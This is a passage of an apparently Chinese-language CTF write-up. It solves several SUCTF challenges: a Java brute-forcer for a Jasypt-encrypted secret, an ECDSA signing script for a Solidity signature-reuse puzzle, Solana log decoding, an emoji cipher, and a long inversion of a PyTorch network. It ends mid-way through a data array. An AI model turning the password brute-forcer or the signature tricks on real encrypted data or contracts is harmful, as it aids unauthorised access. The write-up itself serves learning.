                        tryCombination(basePassword + c1 + c2 + c3);
                    }
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static char[] getCharacterSet() {
        return "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".toCharArray();
    }

    private static void tryCombination(String password) {
        StandardPBEStringEncryptor encryptor = new StandardPBEStringEncryptor();
        EnvironmentStringPBEConfig config = new EnvironmentStringPBEConfig();
        config.setAlgorithm(algorithm);
        config.setPassword(password);
        encryptor.setConfig(config);

        try {
            String plaintext = encryptor.decrypt(ciphertext);
            System.out.println("Possible password found: " + password);
            System.out.println("Decrypted text: " + plaintext);
            // 如果找到了正确的密码,可以选择在此处退出循环或继续查找其他可能的密码
        } catch (Exception e) {
            // 忽略错误,继续尝试下一个组合
        }
    }
}

爆破得到密码和flag

Onchain Magician

代码如下:

pragma solidity 0.8.28;

contract MagicBox {
    struct Signature {
        uint8 v;
        bytes32 r;
        bytes32 s;
    }

    address magician;
    bytes32 alreadyUsedSignatureHash;
    bool isOpened;

    constructor() {}

    function isSolved() public view returns (bool) {
        return isOpened;
    }

    function getMessageHash(address _magician) public view returns (bytes32) {
        return keccak256(abi.encodePacked("I want to open the magic box", _magician, address(this), block.chainid));
    }

    function _getSignerAndSignatureHash(Signature memory _signature) internal view returns (address, bytes32) {
        address signer = ecrecover(getMessageHash(msg.sender), _signature.v, _signature.r, _signature.s);
        bytes32 signatureHash = keccak256(abi.encodePacked(_signature.v, _signature.r, _signature.s));
        return (signer, signatureHash);
    }

    function signIn(Signature memory signature) external {
        require(magician == address(0), "Magician already signed in");
        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
        require(signer == msg.sender, "Invalid signature");
        magician = signer;
        alreadyUsedSignatureHash = signatureHash;
    }

    function openBox(Signature memory signature) external {
        require(magician == msg.sender, "Only magician can open the box");
        (address signer, bytes32 signatureHash) = _getSignerAndSignatureHash(signature);
        require(signer == msg.sender, "Invalid signature");
        require(signatureHash != alreadyUsedSignatureHash, "Signature already used");
        isOpened = true;
    }
}

题目很简单,就是要对一个 hash 签名,送进去两个完全不同的签名就行。

遂找个脚本,两次签名即可,如下

sign.py

import libnum
from secp256k1.secp256k1 import *
sk = 0x6072ca68028ec1282998de7ab5e4b7332efdc042f2dd95feb50392fdb6ea5337
Mhash = 0x46055d035781987375fcdba2ac4180c3658fd4e969b4f390bb2ed411084eb4c5
sk = libnum.n2s(sk)
Mhash = libnum.n2s(Mhash)
sign = ecdsa_raw_sign(Mhash, sk)
v, r, s = sign
v = hex(v)
r = hex(r)
s = hex(s)
print(f'{v = }')
print(f'{r = }')
print(f'{s = }')

# 验证签名,失败返回false
tmp = ecdsa_raw_recover(msghash=Mhash, vrs=sign)
print(tmp)

secp256k1.py

import hashlib, hmac
import sys
if sys.version[0] == '2':
    safe_ord = ord
else:
    safe_ord = lambda x: x

# Elliptic curve parameters (secp256k1)

P = 2**256 - 2**32 - 977
N = 115792089237316195423570985008687907852837564279074904382605163141518161494337
A = 0
B = 7
Gx = 55066263022277343669578718895168534326250603453777594175500187360389116729240
Gy = 32670510020758816978083085130507043184471273380659243275938904335757337482424
G = (Gx, Gy)

def bytes_to_int(x):
    o = 0
    for b in x:
        o = (o << 8) + safe_ord(b)
    return o

# Extended Euclidean Algorithm
def inv(a, n):
    if a == 0:
        return 0
    lm, hm = 1, 0
    low, high = a % n, n
    while low > 1:
        r = high//low
        nm, new = hm-lm*r, high-low*r
        lm, low, hm, high = nm, new, lm, low
    return lm % n

def to_jacobian(p):
    o = (p[0], p[1], 1)
    return o

def jacobian_double(p):
    if not p[1]:
        return (0, 0, 0)
    ysq = (p[1] ** 2) % P
    S = (4 * p[0] * ysq) % P
    M = (3 * p[0] ** 2 + A * p[2] ** 4) % P
    nx = (M**2 - 2 * S) % P
    ny = (M * (S - nx) - 8 * ysq ** 2) % P
    nz = (2 * p[1] * p[2]) % P
    return (nx, ny, nz)

def jacobian_add(p, q):
    if not p[1]:
        return q
    if not q[1]:
        return p
    U1 = (p[0] * q[2] ** 2) % P
    U2 = (q[0] * p[2] ** 2) % P
    S1 = (p[1] * q[2] ** 3) % P
    S2 = (q[1] * p[2] ** 3) % P
    if U1 == U2:
        if S1 != S2:
            return (0, 0, 1)
        return jacobian_double(p)
    H = U2 - U1
    R = S2 - S1
    H2 = (H * H) % P
    H3 = (H * H2) % P
    U1H2 = (U1 * H2) % P
    nx = (R ** 2 - H3 - 2 * U1H2) % P
    ny = (R * (U1H2 - nx) - S1 * H3) % P
    nz = (H * p[2] * q[2]) % P
    return (nx, ny, nz)

def from_jacobian(p):
    z = inv(p[2], P)
    return ((p[0] * z**2) % P, (p[1] * z**3) % P)

def jacobian_multiply(a, n):
    if a[1] == 0 or n == 0:
        return (0, 0, 1)
    if n == 1:
        return a
    if n < 0 or n >= N:
        return jacobian_multiply(a, n % N)
    if (n % 2) == 0:
        return jacobian_double(jacobian_multiply(a, n//2))
    if (n % 2) == 1:
        return jacobian_add(jacobian_double(jacobian_multiply(a, n//2)), a)

def multiply(a, n):
    return from_jacobian(jacobian_multiply(to_jacobian(a), n))

def add(a, b):
    return from_jacobian(jacobian_add(to_jacobian(a), to_jacobian(b)))

def privtopub(privkey):
    return multiply(G, bytes_to_int(privkey))

def deterministic_generate_k(msghash, priv):
    # v = b'\x01' * 32
    # k = b'\x00' * 32
    v = b'\x12' * 32
    k = b'\x23' * 32
    k = hmac.new(k, v+b'\x00'+priv+msghash, hashlib.sha256).digest()
    v = hmac.new(k, v, hashlib.sha256).digest()
    k = hmac.new(k, v+b'\x01'+priv+msghash, hashlib.sha256).digest()
    v = hmac.new(k, v, hashlib.sha256).digest()
    return bytes_to_int(hmac.new(k, v, hashlib.sha256).digest())

# bytes32, bytes32 -> v, r, s (as numbers)
def ecdsa_raw_sign(msghash, priv):

    z = bytes_to_int(msghash)
    k = deterministic_generate_k(msghash, priv)

    r, y = multiply(G, k)
    s = inv(k, N) * (z + r*bytes_to_int(priv)) % N

    v, r, s = 27+((y % 2) ^ (0 if s * 2 < N else 1)), r, s if s * 2 < N else N - s
    return v, r, s

def ecdsa_raw_recover(msghash, vrs):
    v, r, s = vrs
    if not (27 <= v <= 34):
        raise ValueError("%d must in range 27-31" % v)
    x = r
    xcubedaxb = (x*x*x+A*x+B) % P
    beta = pow(xcubedaxb, (P+1)//4, P)
    y = beta if v % 2 ^ beta % 2 else (P - beta)
    # If xcubedaxb is not a quadratic residue, then r cannot be the x coord
    # for a point on the curve, and so the sig is invalid
    if (xcubedaxb - y*y) % P != 0 or not (r % N) or not (s % N):
        return False
    z = bytes_to_int(msghash)
    Gz = jacobian_multiply((Gx, Gy, 1), (N - z) % N)
    XY = jacobian_multiply((x, y, 1), s)
    Qr = jacobian_add(Gz, XY)
    Q = jacobian_multiply(Qr, inv(r, N))
    Q = from_jacobian(Q)

    return Q

Onchain Checkin

  1. 设置程序ID为SUCTF2Q25DnchainCheckin11111111111111111111,调用checkin方法

    img

  2. 将account3的key给flag3,然后在日志中输出flag1,返回成功结果。

    img

  3. 使用在线网站查询记录,使用ID进行搜索

    img

  4. 查看日志发现base编码的结果得到解码得到第一部分flag,第二部分为YouHaveFound

    img

    img

  5. 之前代码中有一个将account3的公钥给flag3,我们将这个公钥拿去base58解码得到最后一部分flag

    img

    img

SU-Feedback

  1. 问卷提打开就有flag

    image-20250113151638510

SU_RealCheckin

打开题目

1

很明显这个🏠🦅🍋🍋🍊 🐈🌮🍟就是hello ctf 的替代,看这个表情的出现情况和字母就对应的上,然后现在把这些替换到密文里面就好,直接记事本替换就可以了简单快捷

2

然后可以看到大部分的表情没有被替换,这时候我们可以根据flag头suctf继续替换,替换完还会有很多表情没有被替换,你可以很明显发现其实里面是一句话,我们去拼对应的单词替换就好了,最后替换如下:

3

SU_AI_how_to_encrypt_plus

首先分析题目

import torch
import torch.nn as nn
flag=''
flag_list=[]
for i in flag:
    binary_str = format(ord(i), '09b')
    print(binary_str)
    for bit in binary_str:
        flag_list.append(int(bit))
input=torch.tensor(flag_list, dtype=torch.float32)
n=len(flag)
class Net(nn.Module):

    def __init__(self):
        super(Net, self).__init__()
        self.linear = nn.Linear(n, n*n)
        self.conv=nn.Conv2d(1, 1, (2, 2), stride=1,padding=1)
        self.conv1=nn.Conv2d(1, 1, (3, 3), stride=3)

    def forward(self, x):
        x = x.view(1,1,3, 3*n)
        x = self.conv1(x)
        x = x.view(n)
        x = self.linear(x)
        x = x.view(1, 1, n, n)
        x=self.conv(x)
        return x
mynet=Net()
mynet.load_state_dict(torch.load('model.pth'))
output=mynet(input)
with open('ciphertext.txt', 'w') as f:
    for tensor in output:
        for channel in tensor:
            for row in channel:
                f.write(' '.join(map(str, row.tolist())))
                f.write('\n')

首先呢我们可以看到我们传入的flag每一位变成了9位二进制,然后我们继续去看,首先可以看到这个模型他有两个卷积层conv1和conv还有一个线性层linear,然后去看forword过程,首先将我们的x重新构建为批量大小为1,输出通道数为1,输入张量高度为3,宽度为3n,其实你可以理解为构建成了个3,3n的矩阵,然后进行再conv1进行第一次卷积,可以看到,conv1,输入通道数是1,输出通道数是1,我们卷积核大小就是(3,3),这里面的stride表示步幅,然后我们的步幅就是3,然后继续分析我们经过卷积得到的矩阵x再次重构为一个1乘n的矩阵,然后接下来进行线性层的操作,然后你可以发现,线性层的权重矩阵为n*n,n,所以在这里面我们经过运算其实会得到一个,1,n**n的矩阵然后继续进行了重构,不多讲了你可以发现是变成一个n,n的矩阵,最后经过卷积层conv进行卷积,不过这个卷积层呢他比conv1有不同的地方,就是他有填充,padding=1,我们在后面会利用到这一点,先继续分析,然后接下来其实就是将得到的结果存入文本中,题目流程就是这样我们接下来进行分析。

这道题呢其实我们的目标就是对这个ai做逆向,这里是我们要对卷积层和线性层做逆向,但是我们首先要确定n的大小,所以我们直接输出其的key的value去找到每一层的大小去确定n的大小也就是flag的长度,显而易见是48

for key, value in state_dict.items():
    print(f"{key}: {value.shape}")

8957d280-5da8-4607-84ba-1c3f9806e0b5

确定了之后我们开始先对conv部分进行逆向,首先我们先讲一下卷积的过程吧,首先我们可以通过前面的得知我们传过来的是一个48乘48的矩阵,然后我们知道我们的卷积核大小是(2,2)其实就是个2成2的矩阵,也就是他的一个权重矩阵,在卷积层他不仅有他的权重矩阵也有它的偏置值阵。在卷积的过程中我们首先要计算一下目标矩阵大小,公式为

a2653f02-b406-4e62-ae1e-1acb63702d73

661d09fb-61ad-4cef-a7dd-0619dff2cc3e

我们去算输出张量的形状,根据前面的过程计算一下我们输出的张量的形状就是[1,1,49,49],然后卷积的计算公式就是

037af492-fdb4-4167-948b-307a61ddebec

然后我们去想一下步幅是什么呢,那就是计算下一个目标矩阵未知的大小是将我们的卷积核移动多少先向右移动,再回到最左面向下移动例图如下

aff5e4cf-ab56-4ab8-ad20-79c32668bf6f

这个是步幅为2的,为1就一次移动一格,那填充是什么呢,接下来举一个例子:譬如我们输入的张量形状是(5,5),卷积核大小为(3,3),步幅为1,填充小为1,首先我们要计算填充后输入张量形状

f510562e-6bb9-44bf-8011-c56c46393c9b

然后去看填充之后是什么样子的

71a9f085-befd-40ed-83cf-d1356734291d

然后去计算张量形状

c8b98c28-1e93-4647-8c0b-59e7673c5cd4

然后去计算每一个的大小,就计算左上角的为例了

5c69ff46-59c3-4f00-8107-2d79e9638aa9

然后就是不断的滑动窗口覆盖整个输入张量就可以了

所以在这里我们题目中为self.conv=nn.Conv2d(1, 1, (2, 2), stride=1,padding=1),我们可以知道他是在填充为1的情况下进行卷积,因为我们的卷积核是(2,2)通过这点可以知道当时我们知道三个值的情况下那我们就可以知道第四个值,所以我们输出张量的最左上角,就是在输入张量为[0,0][0,x]与卷积核相乘并减去偏置值得到的,那我们就可以很好的恢复,当我们以步幅为1的情况下移动我们可以发现当左移一个又会出现满足三个已知数求一个未知数的条件然后平滑完窗口向下移动再平移的时候其实又有三个是已知的,所以以此类推我们可以逆推出我们的输入张量,方法代码如下:

def reverse_convolution_2x2(y, weight, bias):
    """
    根据已知输出 y、卷积核 weight (2x2) 和偏置 bias,
    在假设 stride=1, padding=1, kernel_size=(2,2) 且外圈补0 的情况下,
    逐元素解出原始输入(带padding的一大圈)的数组 X。

    y:      2D numpy array, 形状 (49, 49)
    weight: 2x2 numpy array, e.g. [[7, -5], [9, -7]]
    bias:   float, e.g. -7

    返回值:
        X: 2D numpy array, 形状 (50, 50),其中 X[1:49, 1:49] 为卷积前的实际数据。
    """
    h, w = y.shape
    # 我们创建一个 (h+1) x (w+1) 的零矩阵,用来存放解出的 X
    X = np.zeros((h + 1, w + 1), dtype=np.float64)

    # 提取卷积核
    w00, w01 = weight[0, 0], weight[0, 1]
    w10, w11 = weight[1, 0], weight[1, 1]

    for i in range(h):  # i: 0~48
        for j in range(w):  # j: 0~48
            # Y[i,j] = (X[i,j]*w00 + X[i,j+1]*w01
            #          + X[i+1,j]*w10 + X[i+1,j+1]*w11) + bias
            #
            # 其中 X[i,j], X[i,j+1], X[i+1,j] 已经在之前行列的循环中被解/或为0(若在padding外)
            # 剩下 X[i+1,j+1] 这一项没有解,我们用它来“反推出”。

            partial_sum = (X[i, j] * w00 +
                           X[i, j + 1] * w01 +
                           X[i + 1, j] * w10)

            X[i + 1, j + 1] = (y[i, j] - bias - partial_sum) / w11

    return X

运行可得

15e269da-f6c3-4142-8f96-b066d125272c

如果想展开查看可以np.set_printoptions(threshold=np.inf)显示完整矩阵,这个np其实就是调用的numpy,import numpy as np

然后去验证一下发现没有错误继续进行下一个步骤去逆线性层,首先要看加密逻辑,线性层的加密逻辑如下:

其实呢很简单,在前面我们 x = x.view(n),可以知道我们得到了一个(1,48)大小的矩阵,然后呢我们的线性层的权重矩阵是(n*n,n)大小的,所以就是(2304,48),他的偏置矩阵为(1,48),我们的计算公式为:

995a98fb-31af-4db5-968a-3ed1789feab5

其实就是输入的每一个元素要与权重矩阵的每一行元素按位相乘相加最后加上一个偏置值,得到(1,2304)大小的矩阵,然后去分析这个如何去逆向,其实在这里我们跟据这个可以知道我们有2304个方程式,那我们其实就是得到2304个线性无关的方式,,这个其实是一个过定方程,因为方程数量远多于未知数数量,意味着可能无法找到x满足所有方程,但是我们在这里就可以去通过最小化误差的平方和寻找数据的最佳函数匹配,去利用最小二乘法可以简便地求得未知的数据,所以代码如下

def inverse_linear_layer(
        Y_after_48x48: np.ndarray,
        weight: np.ndarray,
        bias: np.ndarray,
        method: str = "matrix_multiply"
):
    """
    逆向线性层:
      1) 将 48x48 的输出矩阵展开为 (1,2304) 向量 Y
      2) 逐元素减去偏置 bias (1,2304)
      3) 根据指定 method 计算输入 x (1,48)
         - "matrix_multiply":  (Y - bias) @ W
         - "subset_solve":     从 W 的 2304 行中选 48 行, 与 (Y - bias) 的同样 48 个元素做 solve

    参数:
      Y_after_48x48: 最终得到的 48x48 矩阵 (numpy array)
      weight:        线性层的权重, 形状 (2304, 48)
      bias:          线性层的偏置, 形状 (1, 2304)
      method:        逆向求解的方法,"matrix_multiply" 或 "subset_solve"

    返回:
      x: 形状 (1,48) 的 numpy array,表示线性层的输入
    """

    # 1. 确保输入类型为 NumPy 数组
    if not isinstance(Y_after_48x48, np.ndarray):
        Y_after_48x48 = np.array(Y_after_48x48)
    if not isinstance(weight, np.ndarray):
        weight = np.array(weight)
    if not isinstance(bias, np.ndarray):
        bias = np.array(bias)

    # 2. 打印形状以调试
    print(f"Y_after_48x48 shape: {Y_after_48x48.shape}")
    print(f"Weight shape: {weight.shape}")
    print(f"Bias shape: {bias.shape}")

    # 3. 展平 Y
    Y_flat = Y_after_48x48.flatten()  # shape (2304,)
    print(f"Y_flat shape: {Y_flat.shape}")

    # 4. 确保 bias 是一维向量
    if bias.ndim == 2:
        bias_flat = bias.flatten()
    else:
        bias_flat = bias
    print(f"Bias_flat shape: {bias_flat.shape}")

    # 5. 减去偏置
    Y_no_bias = Y_flat - bias_flat  # shape (2304,)
    print(f"Y_no_bias shape: {Y_no_bias.shape}")

    # 6. 检查权重矩阵和 Y_no_bias 的形状是否匹配
    if weight.shape[0] != Y_no_bias.shape[0]:
        print(f"权重矩阵的行数 ({weight.shape[0]}) 与 Y_no_bias 的长度 ({Y_no_bias.shape[0]}) 不匹配。")
        return None

    # 7. 检查权重矩阵的秩
    rank = np.linalg.matrix_rank(weight)
    print(f"Weight matrix rank: {rank} (期望: 48)")
    if rank < 48:
        print("警告: 权重矩阵的秩小于 48,可能导致逆向求解不准确。")

    # 8. 使用最小二乘法求解 x
    try:
        x, residuals, rank, s = np.linalg.lstsq(weight, Y_no_bias, rcond=None)
    except np.linalg.LinAlgError as e:
        print("线性代数错误:", e)
        return None

    print(f"Recovered x shape: {x.shape}")
    return x

运行得到结果

4912a846-e474-4189-8aae-9fd7c41a6741

然后验证一下发现没有问题

接下来最后一步就是逆最后一个卷积层,这个非常简单了,卷积过程其实就是一个输入张量大小为(3,144)的被卷积核(3,3),不断平滑三,而且还原本张量值为1不断卷积嘛,然后我们去查看他的权重就知道其实就是一个二进制因为他的矩阵权重为:

b38a41b9-53f5-4453-934a-656b0d75dd28

然后偏置为6,这些具体常看方法其实就是conv.weight,conv.bias就可以了,然后我们其实就可以获取卷积之后得到的(1,48)张量他每一个数的二进制,然后我们就可以去构造一个补丁,用这些数据构造一个(3,3)补丁,最后连在一起就可以了,因为他的步幅为3,所以我们就可以恢复一个(3,144)的矩阵,方法代码如下

def reconstruct_patches(f_list, kernel, bias):
    """
    根据卷积输出 f_list、卷积核 kernel 和偏置 bias 逆向重构输入补丁。

    参数:
    - f_list: list 或 np.array,卷积输出值列表
    - kernel: 3x3 np.array,卷积核(未直接使用,因为权重系数已被用来解方程)
    - bias: int,偏置值

    返回:
    - patches: list of 3x3 np.array,重构的输入补丁
    """
    patches = []
    for idx, f_i in enumerate(f_list):
        y = f_i - bias
        if y < 0 or y > 511:
            print(f"警告: f[{idx}]={f_i} 导致 y={y} 不在有效范围 [0,511] 内")
            # 无效的值,补零或处理异常
            patches.append(np.zeros((3,3), dtype=int))
            continue
        # 将 y 转换为9位二进制字符串
        binary_str = format(y, '09b')  # '000000000' 到 '111111111'
        # 反转字符串,LSB 到 MSB
        binary_str_reversed = binary_str[::-1]
        # 获取 x1 到 x9
        x = [int(bit) for bit in binary_str_reversed]
        # 重构3x3补丁
        patch = np.array(x).reshape(3,3)
        patches.append(patch)
    return patches

def assemble_input_matrix(patches, input_shape=(3,144), stride=3, kernel_size=(3,3)):
    """
    将输入补丁组装回原始输入矩阵。

    参数:
    - patches: list of 3x3 np.array,重构的输入补丁
    - input_shape: tuple, 输入矩阵形状 (H, W)
    - stride: int, 卷积步幅
    - kernel_size: tuple, 卷积核大小 (kH, kW)

    返回:
    - input_matrix: np.array, 原始输入矩阵,值为0或1
    """
    H, W = input_shape
    kH, kW = kernel_size
    s = stride
    H_out = (H - kH) // s + 1
    W_out = (W - kW) // s + 1
    expected_patches = H_out * W_out

    if len(patches) != expected_patches:
        print(f"警告: 期望的补丁数量为 {expected_patches}, 但实际补丁数量为 {len(patches)}")
        # 根据实际情况处理,例如填充或截断
        if len(patches) < expected_patches:
            # 填充缺失的补丁为零
            for _ in range(expected_patches - len(patches)):
                patches.append(np.zeros((3,3), dtype=int))
        else:
            # 截断多余的补丁
            patches = patches[:expected_patches]

    # 初始化输入矩阵
    input_matrix = np.zeros(input_shape, dtype=int)

    patch_idx = 0
    for i in range(H_out):
        for j in range(W_out):
            patch = patches[patch_idx]
            row_start = i * s
            col_start = j * s
            input_matrix[row_start:row_start +kH, col_start:col_start +kW] = patch
            patch_idx +=1

    return input_matrix

运行结果:

e923883b-7ca1-46af-bfab-ebf993c2306a

然后把这(3,144)的二进制转换成432位二进制,九位一分割,得到flag,方法代码如下:

def decrypt_flag(flag_list):
    """
    根据二进制位列表解密出原始 flag 字符串。

    参数:
        flag_list: 包含二进制位的列表,每 9 位代表一个字符。

    返回:
        原始的 flag 字符串。
    """
    # 检查 flag_list 是否是 9 的倍数
    if len(flag_list) % 9 != 0:
        raise ValueError("flag_list 的长度必须是 9 的倍数")

    # 初始化解密后的字符串
    flag = ""

    # 每 9 位为一组,恢复字符
    for i in range(0, len(flag_list), 9):
        # 提取 9 位
        binary_segment = flag_list[i:i + 9]
        # 将 9 位二进制转为字符串形式的二进制
        binary_str = ''.join(map(str, binary_segment))
        # 将二进制字符串转换为 ASCII 值(整数)
        ascii_value = int(binary_str, 2)
        # 转换为字符并拼接到结果字符串
        flag += chr(ascii_value)

    return flag

3721390c-1748-4f85-b3ba-59d325bee697

完整exp如下:

import numpy as np

def inverse_linear_layer(
Y_after_48x48: np.ndarray,
weight: np.ndarray,
bias: np.ndarray,
method: str = "matrix_multiply"
):
"""
逆向线性层:
1) 将 48x48 的输出矩阵展开为 (1,2304) 向量 Y
2) 逐元素减去偏置 bias (1,2304)
3) 根据指定 method 计算输入 x (1,48)
- "matrix_multiply":  (Y - bias) @ W
- "subset_solve":     从 W 的 2304 行中选 48 行, 与 (Y - bias) 的同样 48 个元素做 solve

参数:
Y_after_48x48: 最终得到的 48x48 矩阵 (numpy array)
weight:        线性层的权重, 形状 (2304, 48)
bias:          线性层的偏置, 形状 (1, 2304)
method:        逆向求解的方法,"matrix_multiply" 或 "subset_solve"

返回:
x: 形状 (1,48) 的 numpy array,表示线性层的输入
"""

# 1. 确保输入类型为 NumPy 数组
if not isinstance(Y_after_48x48, np.ndarray):
Y_after_48x48 = np.array(Y_after_48x48)
if not isinstance(weight, np.ndarray):
weight = np.array(weight)
if not isinstance(bias, np.ndarray):
bias = np.array(bias)

# 2. 打印形状以调试
print(f"Y_after_48x48 shape: {Y_after_48x48.shape}")
print(f"Weight shape: {weight.shape}")
print(f"Bias shape: {bias.shape}")

# 3. 展平 Y
Y_flat = Y_after_48x48.flatten()  # shape (2304,)
print(f"Y_flat shape: {Y_flat.shape}")

# 4. 确保 bias 是一维向量
if bias.ndim == 2:
bias_flat = bias.flatten()
else:
bias_flat = bias
print(f"Bias_flat shape: {bias_flat.shape}")

# 5. 减去偏置
Y_no_bias = Y_flat - bias_flat  # shape (2304,)
print(f"Y_no_bias shape: {Y_no_bias.shape}")

# 6. 检查权重矩阵和 Y_no_bias 的形状是否匹配
if weight.shape[0] != Y_no_bias.shape[0]:
print(f"权重矩阵的行数 ({weight.shape[0]}) 与 Y_no_bias 的长度 ({Y_no_bias.shape[0]}) 不匹配。")
return None

# 7. 检查权重矩阵的秩
rank = np.linalg.matrix_rank(weight)
print(f"Weight matrix rank: {rank} (期望: 48)")
if rank < 48:
print("警告: 权重矩阵的秩小于 48,可能导致逆向求解不准确。")

# 8. 使用最小二乘法求解 x
try:
x, residuals, rank, s = np.linalg.lstsq(weight, Y_no_bias, rcond=None)
except np.linalg.LinAlgError as e:
print("线性代数错误:", e)
return None

print(f"Recovered x shape: {x.shape}")
    return x
    
def reverse_convolution_2x2(y, weight, bias):
    """
    根据已知输出 y、卷积核 weight (2x2) 和偏置 bias,
    在假设 stride=1, padding=1, kernel_size=(2,2) 且外圈补0 的情况下,
    逐元素解出原始输入(带padding的一大圈)的数组 X。

    y:      2D numpy array, 形状 (49, 49)
    weight: 2x2 numpy array, e.g. [[7, -5], [9, -7]]
    bias:   float, e.g. -7

    返回值:
        X: 2D numpy array, 形状 (50, 50),其中 X[1:49, 1:49] 为卷积前的实际数据。
    """
    h, w = y.shape
    # 我们创建一个 (h+1) x (w+1) 的零矩阵,用来存放解出的 X
    X = np.zeros((h + 1, w + 1), dtype=np.float64)

    # 提取卷积核
    w00, w01 = weight[0, 0], weight[0, 1]
    w10, w11 = weight[1, 0], weight[1, 1]

    for i in range(h):  # i: 0~48
        for j in range(w):  # j: 0~48
            # Y[i,j] = (X[i,j]*w00 + X[i,j+1]*w01
            #          + X[i+1,j]*w10 + X[i+1,j+1]*w11) + bias
            #
            # 其中 X[i,j], X[i,j+1], X[i+1,j] 已经在之前行列的循环中被解/或为0(若在padding外)
            # 剩下 X[i+1,j+1] 这一项没有解,我们用它来“反推出”。

            partial_sum = (X[i, j] * w00 +
                           X[i, j + 1] * w01 +
                           X[i + 1, j] * w10)

            X[i + 1, j + 1] = (y[i, j] - bias - partial_sum) / w11

    return X

def reconstruct_patches(f_list, kernel, bias):
    """
    根据卷积输出 f_list、卷积核 kernel 和偏置 bias 逆向重构输入补丁。

    参数:
    - f_list: list 或 np.array,卷积输出值列表
    - kernel: 3x3 np.array,卷积核(未直接使用,因为权重系数已被用来解方程)
    - bias: int,偏置值

    返回:
    - patches: list of 3x3 np.array,重构的输入补丁
    """
    patches = []
    for idx, f_i in enumerate(f_list):
        y = f_i - bias
        if y < 0 or y > 511:
            print(f"警告: f[{idx}]={f_i} 导致 y={y} 不在有效范围 [0,511] 内")
            # 无效的值,补零或处理异常
            patches.append(np.zeros((3,3), dtype=int))
            continue
        # 将 y 转换为9位二进制字符串
        binary_str = format(y, '09b')  # '000000000' 到 '111111111'
        # 反转字符串,LSB 到 MSB
        binary_str_reversed = binary_str[::-1]
        # 获取 x1 到 x9
        x = [int(bit) for bit in binary_str_reversed]
        # 重构3x3补丁
        patch = np.array(x).reshape(3,3)
        patches.append(patch)
    return patches

def assemble_input_matrix(patches, input_shape=(3,144), stride=3, kernel_size=(3,3)):
    """
    将输入补丁组装回原始输入矩阵。

    参数:
    - patches: list of 3x3 np.array,重构的输入补丁
    - input_shape: tuple, 输入矩阵形状 (H, W)
    - stride: int, 卷积步幅
    - kernel_size: tuple, 卷积核大小 (kH, kW)

    返回:
    - input_matrix: np.array, 原始输入矩阵,值为0或1
    """
    H, W = input_shape
    kH, kW = kernel_size
    s = stride
    H_out = (H - kH) // s + 1
    W_out = (W - kW) // s + 1
    expected_patches = H_out * W_out

    if len(patches) != expected_patches:
        print(f"警告: 期望的补丁数量为 {expected_patches}, 但实际补丁数量为 {len(patches)}")
        # 根据实际情况处理,例如填充或截断
        if len(patches) < expected_patches:
            # 填充缺失的补丁为零
            for _ in range(expected_patches - len(patches)):
                patches.append(np.zeros((3,3), dtype=int))
        else:
            # 截断多余的补丁
            patches = patches[:expected_patches]

    # 初始化输入矩阵
    input_matrix = np.zeros(input_shape, dtype=int)

    patch_idx = 0
    for i in range(H_out):
        for j in range(W_out):
            patch = patches[patch_idx]
            row_start = i * s
            col_start = j * s
            input_matrix[row_start:row_start +kH, col_start:col_start +kW] = patch
            patch_idx +=1

    return input_matrix
    

if __name__ == "__main__":
    # ========== 1) 题主给出的已卷积后数据(49x49) ==========
    import numpy as np

    data = [-112098.0, 250587.0, 20195.0, -140940.0, -95550.0, 83718.0, -88976.0, 96801.0, -43574.0, -13434.0, 133858.0,
            -350086.0, 127470.0, -49300.0, 28546.0, 34282.0, -56272.0, -83054.0, -6234.0, 8116.0, 117604.0, -113169.0,
            5577.0, 135392.0, -155774.0, -112523.0, 130478.0, -25622.0, -48478.0, -169994.0, 29663.0, 156919.0,
            -285658.0, 182750.0, -268617.0, 86616.0, 4153.0, -103633.0, 152904.0, -136236.0, 24091.0, -90315.0,
            -14349.0, 119092.0, 105789.0, -29589.0, -73180.0, -37576.0, -44773.0,
            -245804.0, 551058.0, -209867.0, -73487.0, 13973.0, -9278.0, -226983.0, 208352.0, 108997.0, -192884.0,
            216099.0, -468397.0, 120904.0, -63493.0, -42890.0, -100333.0, -9760.0, -60698.0, 28708.0, -178053.0,
            82442.0, -37004.0, 86300.0, 114319.0, -130481.0, -73504.0, 210956.0, -218104.0, -247839.0, -88566.0,
            -12437.0, 126065.0, -325519.0, 253217.0, -249698.0, -798.0, 140143.0, -111227.0, 11071.0, 107497.0,
            -186458.0, -9066.0, -15014.0, 18997.0, 69389.0, 67901.0, -96155.0, -126940.0, 125906.0,
            -106165.0, 325755.0, -223230.0, 98668.0, -43280.0, -9794.0, -103031.0, -67657.0, 357842.0, -410872.0,
            161493.0, -587587.0, 522449.0, -284528.0, -27527.0, -181971.0, 53050.0, -3155.0, 233964.0, -414877.0,
            171223.0, -365394.0, 350109.0, 44149.0, -88379.0, 128943.0, -114301.0, 15206.0, -281792.0, -131219.0,
            -59412.0, 49400.0, 36402.0, -227556.0, 295586.0, -237241.0, 313444.0, -144660.0, -40238.0, 154982.0,
            -110172.0, -7559.0, -340957.0, -49211.0, 240579.0, -86228.0, 18354.0, -180490.0, 201254.0,
            -48082.0, 180990.0, -187467.0, 91892.0, 149190.0, -129456.0, -167749.0, -93448.0, 195246.0, -322435.0,
            117922.0, -453241.0, 832086.0, -352651.0, -73656.0, -37787.0, -56592.0, 56917.0, 202406.0, -330052.0,
            72497.0, -156855.0, 59851.0, -227057.0, 178557.0, 154318.0, -212074.0, 226762.0, -450030.0, -60255.0,
            -67064.0, -25288.0, 51846.0, -224437.0, 222023.0, -118392.0, -3847.0, -85304.0, 159036.0, -307320.0,
            240312.0, -166798.0, -207780.0, -113053.0, 233122.0, -189730.0, 69733.0, -173945.0, 122810.0,
            322158.0, -167473.0, -264148.0, -106307.0, 478188.0, -390894.0, -96126.0, -57055.0, -107024.0, -73127.0,
            87397.0, -143700.0, 142097.0, -9414.0, -88288.0, 427391.0, -386059.0, 82645.0, 37039.0, -158353.0,
            -154161.0, 126670.0, -61938.0, -157740.0, -224101.0, 155328.0, -1668.0, 73753.0, -124023.0, 7620.0,
            -214022.0, -82794.0, 44942.0, 137683.0, -145827.0, -28899.0, -153111.0, -75560.0, 345165.0, -450882.0,
            42567.0, -102781.0, 190424.0, -132066.0, -1852.0, -25503.0, 156039.0, -199626.0, -315.0,
            320721.0, -180772.0, -212398.0, -216839.0, 109000.0, -25202.0, 119352.0, -226205.0, 37988.0, -103667.0,
